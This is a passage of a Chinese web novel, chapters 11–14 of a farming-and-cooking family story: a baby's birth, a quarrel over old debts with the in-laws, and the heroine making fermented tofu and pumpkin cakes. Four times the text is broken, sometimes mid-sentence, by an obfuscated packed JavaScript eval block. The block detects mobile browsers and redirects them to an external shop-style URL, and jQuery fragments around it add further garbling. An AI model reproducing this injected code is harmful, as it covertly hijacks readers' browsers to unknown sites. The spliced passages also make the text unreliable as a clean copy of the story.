崔大郎在三妹肩上轻轻一拍,忙着去灶房兑热水给小娃儿清洗,崔三娘则迈步进屋,让桂氏好好躺着休息,她来给崔老太太打下手。
待一切处置好,崔三娘才终于有机会抱一抱新得的小侄女。
小娃儿裹在盖过酱香饼的小褥子里,这褥子到底没来得及重新浆洗,但经太阳暴晒过,没有异味,反而有股奶香气,小娃儿的脸颊肉嘟嘟,小嘴不停的砸吧着。
“嫂子,她真软。”崔三娘第一次抱这么小的娃娃,只觉得她像云朵一般。
桂氏的脸色还有些苍白,但人已经有精神多了:“小孩都这样,可爱吧?”
“可爱。”崔三娘把小侄女递到桂氏怀中,让她给一直咂嘴的小娃娃喂奶,“还没给她取名呢。”
桂氏温柔的看着怀中的小家伙:“我已经想好了,叫她家安,崔家安,小名安安。”
“嗯,好听!”崔三娘念了几遍,“也顺口。”
正说着话,院门外突然响起了车轮噜噜转动的声响,来客了?
崔三娘正往院外瞧看,就听见了一道爽利的女声:“亲家,我闺女生啦?”
桂氏面上一喜:“是我娘来了。”
昨日后半夜桂氏平安产子以后,柳家的两个仆妇帮着收拾了一会,就回了柳家,因崔家腾不开手脚去桂氏娘家报喜,柳云海便揽下了这差事,派了个家丁骑马去桂家报信。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480617|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
桂家在二十里外的镇子上,没想到他们来的这样快。
崔老太太忙出去迎接,在补眠的林氏被吵醒,理了理头发衣裳,也笑盈盈走上前去。
这是崔三娘头回见桂氏的娘家人,原主从前应该也见过,但没留下深刻印象,所以崔三娘在记忆中搜罗了一圈,仍没记起啥。
“哎呦,这孩子长得真俊,多白嫩。”
桂氏的母亲下了骡车,一边和崔老太太、林氏寒暄,一边走进屋里,她们母女两个一见面,就亲热的坐在一起开始话家常,似乎有说不完的话,屋子里狭窄,人多显得很拥挤,崔三娘捧上一碗热茶后,就走到了院里,让她们母女俩好好说话。
这时骡车上又下来一个头发花白的老者,年纪和崔老太太差不多,是桂氏的父亲,桂老爹下车后,车厢里还钻出个十来岁的小少年,是桂氏的弟弟。
后来崔三娘才知道,桂氏的亲娘是续弦,桂老爹的发妻生育了两个女儿,病故后桂老爹娶了比自己小二十来岁的罗氏,罗氏过门后头胎生了个女儿,即桂氏,又过几年,才终于为桂家生下一根独苗。
眼下桂老爹和桂家唯一的男嗣桂彦君坐在崔家堂屋,崔大郎和老太太陪坐在一旁。
打从第一眼起,崔三娘就不喜欢桂老爹,这老头眼角唇周皱纹密布,酒糟鼻红彤彤,一双眼却炯炯有神,看上去颇为精明,也不知道这么精明的老头,为何将女儿低嫁到崔家。
“三娘,你过来。”
林氏站在窄廊下冲崔三娘招手,随后递来一陌铜钱和一只酒葫芦:“去老杜家打壶酒,顺便去菜园里摘些瓜菜。”
老杜家不仅卖酱菜,还私下里酿米酒。
大周王朝对酒的管制颇为严格,只有官府才有酿造售卖酒水的权利,除了官方售卖,一些大的酒家得到官方授权后也能酿酒卖酒,其余的小店则只有转卖之权,但民间私下酿造自家饮用,则不在限制之中,老杜家的私酿便是钻了这个空子,一年小打小闹的卖上几十坛,也就民不举官不究了。
崔三娘接了钱,叫上崔四娘做伴儿,便一齐走出院门,往老杜家去打酒。
“三姐姐,你觉不觉得亲家翁有些不高兴?”
崔四娘的性子很像林氏,都是不爱言语又细腻敏感,经她这一问,崔三娘方想起,从下骡车进屋,到喝茶说话,桂老爹似乎一次也没笑过。
“嫂子平安生下小安安,亲家翁该乐才是。”崔三娘有些想不通。
崔四娘叹气,犹豫了几瞬开口道:“前些日子,我还瞧见嫂子悄悄在哭呢。”
崔三娘越发困惑,嫂子有啥心事?
越想越不明白,崔三娘索性不想,去杜家花十五文钱打了一葫芦淡酒,又去崔家的菜园里摘了韭菜、茄子等新鲜蔬菜,这才和崔四娘一块回家。
路上遇见了本村的一个婶子,老远就冲她俩道:“呀,了不得了,你家打起来了!”
崔三娘与崔四娘俱都一惊,随后撒腿往家跑去。
12. 第 12 章
“亲家,有什么事好好说,冷静些,别叫四邻八舍瞧笑话!”崔三娘崔四娘还没进院门,就听见了崔老太太的声音。
紧接着是桂老爹在说话:“我行得端坐的正,不怕人笑话。”
这会子院里已围拢不少乡邻,劝架的劝架,帮忙收拾东西的收东西,崔三娘扒拉开人群挤进去,才发现晾晒在院里的山楂、菜干都被掀翻在地。
她连忙弯腰收拾。
“这里头的事,我不知情,但如果确有其事,我崔家就是砸锅卖铁,也会把这笔钱还上。”崔老太太脸涨得通红,说出的话掷地有声。
崔三娘还没搞懂状况,崔老太太又对乡邻们拱手:“今日谢谢各位了,咱家没大事,但有些家常话要关起门来说,就不留各位吃饭了。”
说着冲一旁护着妻儿的崔大郎还有发愣的林氏使眼色,崔大郎和林氏会意,走上前去将院里劝架的邻居村友都送到院门外。
这时崔三娘也从崔五娘的口中,弄清楚了事情原委。
“亲家翁忽然说咱家欠了他家许多钱,奶奶说没这一回事,话不投机,没一会就呛了起来。”崔五娘一脸后怕,“亲家翁可凶了,亲家娘从嫂子屋里出来劝解,亲家翁非但不听,还跑到院子里大吼大叫,把咱们晾晒的东西打翻不说,还提起锄头要打自己的脑袋,还好大哥手快,把锄头抢走了。”
难怪路上遇见的那婶子说自家打架了,定是见到了这一幕。
“三姐姐,现在怎么办呀。”崔五娘急得跳脚,“莫非我们真欠了亲家翁的钱?”
崔三娘也不清楚,但看桂老爹剑拔弩张的模样,只怕不得善了,而且他刚才已闹过一场,动静将四邻都招了来,可见是下定决心要与崔家撕破脸皮。
这种冲动型的人,激动起来不知会做些什么,他若又发作,崔家老的老小的小,只有大哥一人恐怕不抵事。
崔三娘想了想,扯了扯崔老太太的衣角:“奶奶,要不要把二爷爷一家请来?”
崔家在黄石村定居几十载,亲戚不算多,只已故崔老爹有个胞兄,如今还健在,一家十来口人,因为壮劳力多,耕种了几十亩佃来的田地,日子同样紧巴。
年轻时崔老太太和大伯哥吵过架,加上崔家老爹故去了,如今两家往来不多。
不过若与外人遇上争执,他们两家是铁定要抱团取暖的,毕竟血脉相连,且上半年为崔三娘看病,这二爷爷一家还送过一吊钱来。
崔老太太于是点点头:“你去喊。”
桂老爹背着手,细长的眼眸里迸出嘲意:“正好,等你崔家的人来齐了做个见证,我们好好理一理账目。”
崔三娘步子迈得极快,估摸着这时候二爷爷一家恐怕还在地里,就径直去了后山的水田边,果然寻见了人。
这位二爷爷已经六十多岁,埋头在田里扯草,他耳朵不好,崔三娘唤了很多声也没听见,幸好二爷爷的两个儿子,崔三娘唤大伯父二伯父的两位堂伯也在旁边,听崔三娘说家里遇上了事儿,都从田里上来,用溪水洗干净手和脚,随她脚步匆匆的到了崔家。
这会儿桂氏已哭红了眼,她母亲罗氏也在抹泪,口中不住的劝:“别哭,好闺女,别哭,月子里哭多了伤眼睛。”
可桂氏哪里忍得住。
罗氏越瞧越心酸,冲丈夫喝道:“早不算晚不算,你非要在女儿刚生完孩子算吗?!”
“你还有脸说话,都是你做的好事!吃里扒外,还不滚过来?”桂老爹吹胡子瞪眼,见罗氏纹丝不动不肯挪脚,就冲小儿子桂彦君怒喊,“将你娘拉过来!”
桂彦君白着张脸,一直没说话,看看暴怒的爹又看看垂泪的娘,最后低声哀求般说道:“娘,别惹爹生气,你过来。”
桂氏深知自家老爹的火爆脾气,忙将罗氏往外推。
“好了,该坐坐,想站着的就站着。”崔老太太看见这一屋子哭的哭喊的喊,就打心眼里烦闷,也不知一桩喜事怎么就闹到这一步,她心道晦气,没好气的搬来两张长凳子在堂屋摆好。
这时候崔三娘领着两位伯父也到了。
崔大郎从屋里拿出了难得在家用一次的笔纸。
“算吧,我们一项一项核对。”崔老太太抱着手臂说。
桂老爹从鼻孔里发出一声哼,随后掰着手指一条条说起:“四年前俩孩子成亲,在桂家摆了五桌席面招待亲友,一共花了一两银子,这笔钱该由崔家出,但到今日,也没将银子给我。”
“再说婚后第二年,家兴出生,我家老婆子抱了一卷布来崔家,这布没经过我允许,值价二百文,还有,家兴满月老婆子又来了一回,给孩子打了个银手镯,这事我到昨日才知道……”
“还有前些日子那两篮子鸡蛋,哼,整六十个,少说也值二百文,罗氏就不声不响全送到了崔家!”
桂老爹愈说,崔老太太的脸色越白,他提到的银钱物品,有的她知晓,比如布料、鸡蛋、镯子等等,有的她不知道,比如成亲的席面钱等等,但看桂氏惊讶悲伤的目光,还有崔大郎紧咬的腮帮子,恐怕每一件都是真。
“大郎,你算算,我说的这些共值多少钱。”桂老爹哼道。
崔大郎的一颗心如油煎针戳,握笔的手也禁不住颤抖:“五两零六百文。”
“我说的每一件,是不是都确有其事?”桂老爹有些得意。
桂氏张口想说什么,看着爹那副蛮横的面孔,已哭得一字都说不出,该怎么辩?按照风俗,桂家那五桌席面是该崔家出钱,老太太也给了这份钱,但当时娘亲罗氏说她刚嫁人,那一两银子给她做私房,想想娘家入项多,不缺这区区一两银子使,桂氏便收下了。
至于什么镯子布料,也都是娘给的,爹难道不知道?
桂氏去看罗氏,罗氏瞪大一双眼,嘴唇颤抖,霎时心如死灰,桂家虽然富裕,但桂老爹是个守财奴,家中一针一线都攥得紧,她补贴给女儿的财物,若无他的默认,她怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480618|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能拿出家门?
但的确,每一次拿钱拿物,都是她这做娘的张罗,细细想来,他也的确没说一个可字。
悲伤到了极处,罗氏反而笑出声:“原来一笔一笔,你都记着。”
桂老爹一听这话,霎时怒不可遏:“我当然要记着!”
说着扭头去看崔大郎和女儿,手指着崔家的门窗桌凳大声道:“你看看,这崔家都过成了什么样子!家徒四壁,破门烂房,当初我是看崔家大郎年轻有闯劲,才下嫁女儿到你家,可四年过去了,还是衙门里最底层最不起眼的小吏,哼!实话告诉你,就是这吏员,你也很快就做不成了!”
崔大郎紧绷的嘴唇已苍白到了极点,刚才他一直没说话,这时再也忍不住,霍然起身:“岳父大人!小婿敬你是桂娘的父亲,也谢您当日不嫌弃崔家,将桂娘嫁我为妻,方一忍再忍,但您别太过分!崔家穷困是事实,但那又如何,我们靠双手吃饭,从不克扣剥削别人!”
这话带了刺,因为桂家便是靠借贷起家,桂老爹放贷给别人,利息银收得高,又不讲情义,好些人戳着脊梁骨骂他。
眼看桂老爹又要跳脚,崔三娘瞅准时机大喊一声:“够了,亲家翁,别吵架别骂人,再说话招人嫌,我可揍你!”
说着挥舞起手中的笤帚,崔四娘崔五娘一左一右,如同左右护法,和三姐同仇敌恺。
“你!”桂老爹简直要气晕,手往前戳着,看上去恨不得将崔三娘掐死。
崔三娘怒瞪回敬:“哼!”
原身只有十三岁,小孩子可以童言无忌,也可以顽劣尖利,而且大人还不能计较,否则就是他气量太小。
果然,下一刻蹙眉站在旁上的两个堂伯就来劝解,叫桂老爹不要与孩子一般见识,崔三娘故意冲桂老爹做鬼脸,把这老头气够呛。
若不是看在嫂子的份上,崔三娘真想挥舞笤帚来几下真的,反正她年纪小灵活,桂老爹准追不上她。
“爹,别再说了,您说的每一笔帐,我都认,但这是我与大郎欠下的债,自该我们来还,您有不高兴的地方,尽管冲我来,别对奶奶。”桂氏努力的控制情绪,可话音里还是带着浓浓的哭腔。
在场者除桂老爹,无不唏嘘感伤。
“大郎,写张欠条给我爹。”桂氏仰头,尽量不让眼泪流太多,“爹,我们会尽快一文不少还给你,家里事多,不留你了。”
崔老太太攥着拳,一忍再忍,才忍住跳起来将桂老爹臭骂一顿的冲动,桂氏刚生了孩子,需要静养,崔三娘看懂了老太太的心思,而且她也想尽快送走桂老爹这倒霉神,于是等崔大郎写好欠条后,立刻将纸笺拿起吹干墨渍,塞到桂老爹怀里:“慢走不送!”
驴车怎么来,又怎么驶了回去。
屋里霎时静下去,落针可闻,一直在屋里避嫌的陆凝雪走到门口:“桂姐姐,你站太久了,快躺下,我给你切切脉。”
一屋子人这才从刚才的气氛中解脱。
13. 第 13 章
崔大郎急忙扶着妻子回房,崔三娘要跟着去,桂氏摇摇头:“不必解释,这不怪你。”
这指的是崔三娘对桂老爹无理的事,毕竟是自己的亲爹,桂氏难免吃味,可她既这样说,显然没将那事放在心上。
崔三娘抿唇点头:“嫂子宽心些,一切都会好起来的。”
崔老太太和林氏则进屋帮小安安换了尿布,之后抱到左边的房里哄睡,好叫桂氏好好静心歇一歇,这时已过了午饭的点,但闹了这一场,全家竟都忘了这茬。
还是崔五娘可怜巴巴说饿了,崔三娘才惊觉自己的肚子早就咕咕在抗议。
“等着,我去做好吃的。”
崔三娘掏出荷包里的饴糖,一人含了一块,接着迈步走到灶房,准备做饭。
这时她心里很乱,正好用做顿饭的时间来调节下情绪。
崔四娘崔五娘前后脚跟了进来,崔五娘自觉的帮忙烧火,崔四娘取了陶罐量米熬粥,崔三娘看了看角落里的菜篮子,里面有绿油油的大白菜:“正好,中午就吃熬白菜吧。”
才说完,院外的小路上响起了豆腐郎的吆喝声:“老豆腐,二文钱一块!”
纯吃白菜有些单调,但若有豆腐作陪,那滋味就丰富了。
崔三娘忙走出去叫住那豆腐郎,掀开竹箩一瞧,豆腐白净又新鲜,她有心多要几块,和人讲了一会价,最终花十文钱买了六块。
从她自己做吃食卖钱开始,赚得的钱崔老太太一文也没拿走,都留在崔三娘那里,她有充分的花钱自由。
“三姐姐,这么多豆腐怎么吃得完呀。”崔四娘吓了一跳。
“嘿嘿,当然不是今日全吃完。”崔三娘道。
崔四娘挺着胸脯更着急了:“豆腐不经放,明日就酸了。”
“我知道。”崔三娘笑着蹲下,将装豆腐的小木盆放在地上,“今日只吃两块,剩下的做成腐乳。”
腐乳诞世已久,在酱菜铺里均有售卖,不过价钱较贵,上回进城崔三娘问过价钱,一文钱只得一小块,究其原因,是因为酿酒、制糖、做腐乳等技术,只掌握在少数人手中,人家靠手艺吃饭养家,当然不会随便外传。
物以稀为贵,自然价高。
崔四娘听罢眼睛一亮,腐乳她吃过几回,又香又下饭:“三姐姐,二哥连腐乳怎么做的都告诉过你呀?”
想到崔二郎身上的锅,崔三娘噗地一笑:“对呀,二哥神通广大,把他知道的都告诉了我。”
这时火已烧得很旺,崔三娘从猪油罐里刮了一勺搁在锅里,将切成片的豆腐小心滑进去,直到满屋子香气缭绕,豆腐两面金黄,这才将洗净的白菜丢进去,翻炒几下待菜变软了,才放水放酱,改中火慢慢炖煮。
崔三娘喜欢吃软乎乎的白菜,入味又吸汤,在秋冬时节热气腾腾的吃上一碗,绝对是人间一大享受。
这头白菜还在熬煮,崔三娘打开碗柜,小心地取出存放数日的猪油渣,如今气温低,这油渣又焦脆干燥,所以不仅没有变质,反而香酥的很。
“今日有外客,陆姐姐为嫂子操心不少,得给她做些好吃的。”崔三娘如是说道。
自然了,沾客人的光,自家人也能一饱口福。
崔三娘先备了小半碗辣椒,剥了蒜米,随后热锅下少许油,加盐加豆豉,再下蒜和辣椒不停的用木铲擂打,不一会辣椒外皮起了虎皮,一股香辣的味道也在小小的灶房里乱窜,叫姊妹三个咳嗽不停,跑到外头吹风才缓下去。
“别怕,越呛待会吃起来越香。”崔三娘叉腰休息一会,进去将切碎的猪油渣丢进锅里,翻炒一阵后加酱加水,又加茄子,咕嘟咕嘟炖上半刻,虽然卖相不是特别好,但油渣香糯,茄子软鲜,佐粥下饭都是一绝。
-
“真香。”
屋里桂氏经过陆凝雪的检查,一切无碍,崔大郎终于放心,将桂氏的月子餐端进来,照例是两个红糖蛋,一碗粥,一瓦罐鸡汤。
崔老太太养了十只母鸡,隔三五日杀一只,足够桂氏在月子里补充营养了。
桂氏闻着鸡汤的味道,却被门外飘进来的香辣气所吸引:“三娘近日厨艺见长。”
“是啊,比以前高出一大截。”崔大郎帮桂氏盛汤,夫妻俩都有意不提扫兴的事。
桂氏冲丈夫笑笑:“快去和他们吃饭吧。”
心情沮丧之时,一顿色香味俱全的餐食,可大大改善心境,无论生活如何,好好吃饭是每日必修之课。
看着小木桌上如春野浮繁花的白菜熬豆腐,还有金灿碧紫相间的油渣焖茄子,陆凝雪惊讶地一挑眉:“好漂亮的饭菜。”
崔老太太端上一碟豆豉姜,又将粥罐端上:“我家三娘厨艺顶好,虽只是农家常见的菜肴,滋味是别家没有的。”
夸孙女,崔老太太素来不口软,自豪之情溢于言表。
崔三娘被夸得有些羞:“陆姑娘快坐,昨夜多亏有你。”
陆凝雪只比崔三娘大三岁,看上去沉静老成,但内心还是个小姑娘,说话很直爽:“哪里,我虽自幼习学医理,但给妇人接生还是头一次,摸着石头过河,也是桂姐姐吉人自有天相。”
总之,结果很好。
众人落座,捧着粥碗开始用饭。
这时已过饭点,村人都歇晌去了,村庄里静悄悄的,大家围在一块,吃着软烂入味的大白菜,嚼着吸汤的油煎老豆腐,再挟一筷子香辣油鲜的油渣茄子佐粥,别提多惬意。
陆凝雪用了两碗粥:“崔三姑娘,你的手艺比城里的大厨还好。”
崔三娘笑弯了眉毛:“多谢”
-
下午崔三娘挎上篮子,只带了崔四娘,再次上山摘野山楂。
再过一个月,彻底入了冬,野山楂也就过了季,不是熟透就是被鸟雀啄食,与其暴殄天物,不如尽可能的多摘些回家,晒干磨粉存放。
但提着篮子在山脚下逛了许久,统共只得了半篮,地势平缓处的山楂基本被她们薅光了。
再深些的林地里,必然还有,崔三娘有些犹豫,最后决定往前走一小段。
忽然,前面闪出个黑黢黢的影子,崔三娘吓一跳,定睛看去,原来黑影是个人,而且是熟人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480619|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,是随柳云海到家里来过的柳木林。
柳木林穿一身黑:“你们去采山楂?”
崔三娘点点头:“对呀,你来这做什么?”
“下了几个捕兽夹。”柳木林说着挠挠头,“山里的坑洼太多了,你们别进去,这几天我都要进山,看见山楂我帮着摘。”
柳木林大部分时日在城里的书院,现在因柳木森腿伤,告了半月的假,常日在家无聊,就往山里钻,好找些乐子。
“这……”崔三娘不想麻烦人家。
柳木林似乎看懂了崔三娘的顾虑:“只是顺手的事,再说,柳家还欠你的情。”
“哪里,你们都登门道谢了。”崔三娘笑着道。
不过,看着高山密林,她真有些怵,既然柳木林诚心帮忙,也就不再过分推辞,只是免不了啰嗦一番,叮嘱他提防毒虫野兽,小心脚下。
柳木林颔首应答:“我自会注意的。”
回家的路上,崔四娘一直纠着眉,到了河滩边一处缓坡,崔三娘见地上开满了五颜六色的野花,就带着崔四娘去采花,这时她还在拧眉,活像个小号的老太太。
“怎么了?”崔三娘将篮子丢一旁,寻快干爽地方坐下,揉捏起泛酸的小腿肚。
崔四娘坐在对面:“三姐姐,村里人都说柳家人坏,占着水源,硬是不给别家放水,简直黑心烂肝,可柳家老爷却给咱送鸡送礼,还借马给大哥进城,这次柳木林又帮忙摘山楂,这样看来,他们好像也不坏。”
崔四娘疑惑不解,不知道到底该信村人的话,还是相信自己的判断。
非黑即白,硬要断出对错,是这年纪的孩子的特性,崔三娘摘了朵花摊在掌心,吹口气,花儿乘风能飘出很远。
作为一个被996和KPI压迫的很惨的成年人,崔三娘早就不在意这些:“他们坏也好,好也罢,与咱没大的相干,反正嘛,礼尚往来,不亏心,各自自在就好啦。”
崔四娘听不明白。
崔三娘一笑:“好了,想那么多干啥,跟我来摘花。”
她要把家里闲置的小罐都插上花,粉蓝、橘黄、月牙白,星星点点,多好看。
-
陆凝雪在家住了两日,这两日里崔三娘也歇业在家。
不过她没闲着,柳木林信守承诺,帮忙摘了一大堆山楂,崔三娘招呼家人一起,将山楂处理好,一部分清洗后晒干,预备磨成粉,另一部分上锅蒸熟捣酱,和上糖浆后做成山楂片。
至于腐乳,也到了最后的密封腌制阶段。
吃白菜熬豆腐的当晚,崔三娘就将剩下的四块老豆腐切成了小块,放在风口吹干水分后,搁到陶罐中密封发酵,两日之后,崔三娘开启罐口,一股香中带臭,类似臭鳜鱼的味道瞬间飘了出来。
夹出一块来瞧,豆腐已由原本的米白色变成淡淡的黄,表层还有些黏糊。
看起来情况不错。
崔三娘很满意,叫崔四娘将那葫芦酒取来。
这原是打来招待桂老爹的,可惜他不识抬举,崔三娘在心里哼哼两声,正好用来做腐乳。
14. 第 14 章
老杜家的酒虽是偷酿,但纯度很高,崔三娘尝了一小口,辣得直吐舌。
崔老太太在一旁瞧,嗅着那股香臭气面露疑色:“三娘,这腐乳没坏吧?”
可别吃坏肚子。
崔三娘将葫芦里的酒倒出来,顽笑一句:“总之吃不死人。”
“呸呸呸。”崔老太太唬得连啐三下,嗔怪道,“你这孩子,怎么越来越像你二哥。”
说着拿张矮凳坐下,一边处理山楂,边看崔三娘将豆腐在酒水里滚过杀菌,之后又滚上一圈盐巴辣椒粉,最后一块块垒好,搁回罐里再次密封发酵。
崔老太太插话:“这就好啦?”
“过七八日还要开罐加些菜籽油,再过上半月才能吃。”崔三娘说着舔舔唇,“二哥教了我一道菜,叫做腐乳肉,到时候咱们试着做一回。”
想想腐乳咸香的滋味,崔老太太吞了口唾液:“行呐,一定好吃。”
正说着话,院外响起一阵马蹄声,是陆老大夫来接陆凝雪回城。
这会儿已近饭点了,崔老太太说什么也要留陆家父女吃过饭才走,陆老大夫推拒不过,点头应下。
柳家送来的另一只大肥鸡,很快就下了锅,望着锅中咕嘟冒泡的土鸡汤,崔三娘有种崔家豪气起来的错觉,这是本周全家第二回吃鸡,而且这种土鸡非后世的饲料鸡可比,油脂丰富,肉质鲜美,不需要复杂的佐料,高超的厨艺,只要山泉水加柴火灶炖出来,就是一锅香喷喷的好鸡汤。
总之,好吃的不得了。
喝汤吃肉的时候,崔三娘又得了个好信儿,陆老大夫捋着长须笑呵呵告知:“你做的山楂片医馆已卖光了,有好几个人催我进货。”
陆老太太本就是儿医圣手,来医馆瞧病的多是孩童,小儿难免有挑食积食的毛病,这时有着开胃健脾之效,口味酸甜的山楂片自然成了医馆里的香饽饽。
崔三娘原还担心不好卖,这下心安了:“我又做了五斤。”
陆老大夫一拍桌:“正好,我全要了。”
这次为桂氏接生,陆凝雪用了些自带的药物,药品合计三百多文,崔老太太又问诊金多少,陆凝雪不肯要诊金,说只付药钱即可。
崔老太太自是不依:“耽误了你三日功夫,我们怎么好意思。”
“有什么不好意思,我是生手,难为桂姐姐做我头一位接生的病人,许多地方还做的不够好。”陆凝雪如是道。
但崔老太太还是要付诊金,可家里一时真掏不出钱,只能等下月崔大郎发禄米。
不过这下问题解决了,崔三娘看着陆老大夫:“这五斤山楂,就抵我嫂子的药钱和诊金了。”
话才讲完,就见崔老太太和陆凝雪同时开口,崔三娘赶紧捧起碗:“喝汤喝汤,这事就这样说定了!”
陆老大夫也对女儿轻轻摇头,过分的客套乃至同情,只会令事者尴尬。
“对对,鸡汤要趁热喝才好喝。”崔老太太接话说道。
从心底里,她不愿意花孙女挣的钱,可家里太穷了,在客人面前拉来扯去,小陆大夫岂不是更不愿收钱?因此她决意等眼下的难关熬过去以后,再养一对小猪崽,卖了后将钱还给崔三娘。
包括欠桂老爹的债,卖了猪都能还一小半。
只是,这买猪崽的钱从哪里来呢?老太太真发愁。
-
崔三娘也有些愁,渡口人少生意不可能太好,可进城又路远太过麻烦,而且现在家里添了小安安,老太太和林氏都走不开,至于赶集,一旬才一次。
但苍蝇腿再细也是肉,渡口每日都有往来的客船,她带上两个妹妹去卖一圈,总能挣些。
想到钱,崔三娘就浑身是劲儿。
夜晚天一黑,她就上床睡觉去了,到下半夜,天上的星子还在夜幕中璀璨,崔三娘就从被窝里爬了起来,说好要帮忙的两位小妹翻个身,到底起不来,继续睡了。
崔三娘自己也呵欠连天,不过算算时间,这一觉也睡了快八小时。
从里间往外走时,路过崔老太太与林氏的床,两人睡眼惺忪的坐起,崔老太太小心的点起灯:“走,开工干活去。”
崔三娘推开门,一阵寒风立刻灌入,真冷,她瑟缩一下,得赶紧挣钱买冬衣被子了。
今天去渡口,崔三娘准备和两斤面做酱香饼,按照顾客提的意见,一半做成辣味的饼,一半仍是原味。
这饼已做了数回,崔老太太和林氏都是灶案上的老手,有崔三娘在一旁指导,她俩能完成全部的工序,酱香饼这头不用崔三娘操心,她就可以腾出手做新品——南瓜饼。
崔家的粮斗里还存了十来斤糯米粉,崔三娘取了一斤放在盆里。
接着从灶房角落抱出个碗口粗的老南瓜。
南瓜在村里随处可见,好伺弄,产量也高,因此也不值钱,自家吃不完就拿到集上卖,卖也卖不掉,剩下就搁在角落存着慢慢吃。
崔三娘拿刀切下一大块南瓜,麻利的去了皮和瓤,切成小块上锅蒸,待南瓜蒸透了,飘出甜甜的香气,再倒到盆里使劲锤捣,直到南瓜成了泥才罢休,紧接着加上一把砂糖,撒入面粉,慢慢的揉成面团,这和面的工序便已完成。
若是基础版的南瓜饼,这时就能揪成饼上锅慢慢煎熟,但她想加些花样,这样口味更佳,也能卖上价。
而且在做买卖的这几日里,她发现,愿意掏钱买饼、糕、水饮吃的客人,多数是殷实之家,家有余粮,买东西时也就不吝于三五文的差价。
口味才最重要。
于是崔三娘决定做些红糖花生馅包进去。
花生家中有现成的,今年种了小半亩,收获的花生大部分卖成了钱,但仍留了几斤自家吃和待客,崔三娘前一日就剥了一小碗花生仁,炒香并已捣碎,现下只需与红糖粉混合就好。
“这面揉出来金灿灿,真好看。”崔老太太伸长脖子赞了一句,她与林氏已经在炒酱汁了。
“那就叫黄金糕吧。”听见这话,崔三娘忽灵光一闪。
南瓜太常见,多数人都吃腻了,若换上黄金糕这名,光听起来就唬人。
林氏将炒香的酱汁盛出来,笑着说:“好名,吉利。”
崔三娘可得意了:“吃了黄金糕,黄金
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480620|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
万两到家来,待会就用这句词吆喝买卖!”
说话间,揉好的黄色糯米团已被揪成一个个小圆饼,崔三娘在圆饼中央掏个小坑,包一勺红糖花生碎进去,然后复原,她动作极快,不一会儿二十多个黄胖的小团子就齐整的出现在眼前。
“下锅烙饼咯。”
两边几乎同时下锅,滋滋啦啦的声音在灶房里弥漫,咸香和糯甜的香气交织,顺着晨风能飘出二里地。
崔三娘还没吃早饭,待第一锅南瓜饼出锅,她已迫不及待,用竹筷夹着热气腾腾的饼,呼呼吹了几口气后,小心的送入口中。
牙齿触到南瓜饼酥脆的外壳,先发出一声极细微的咔滋声,紧接着是糯米软叽叽的口感,花生的香气和红糖的甜随咀嚼的动作慢慢浮现,口感和味是那么的完美,道崔三娘唔唔两声:“好吃!”
除了这两字,她实在不知该说什么。
“这儿还有,奶奶,娘,你们快趁热吃。”崔三娘把面前的碗往前递。
崔老太太和林氏也都饿着肚子,手在衣襟上搓两下,都有些舍不得。
“吃嘛,这热腾腾的滋味最好。”崔三娘眨着眼,“咱们齐心协力,往后日子定会好起来,没得半夜起来做吃食,自家一口不敢吃的道理!”
这话十分豪气,连带崔老太太也心潮涌动,要说年轻时,她也是十里八乡的好姑娘,怎么活来活去,竟成了连吃块饼都畏畏缩缩的糟老太太。
吃块饼咋了,未必她挣不回这饼钱。
“吃。”崔老太太取了一块饼,被烫的不停倒换手,随后大咬一口,立即被那香甜软糯的滋味迷住,“白吃了几十年的南瓜,这南瓜饼也太香了,馅也香。”
林氏也在吃饼,一口接一口,根本不想说话。
这时角落里突然响起个声音:“哎呀,你们在吃什么?”
循声望去,原来是崔四娘崔五娘睡醒了,被两双水汪汪的大眼睛无辜盯着,崔三娘竟有了偷吃的罪恶感,不过偷吃是不会偷吃的,今日的饼,全家一人一个,虽不能管饱,但尝个新鲜足够。
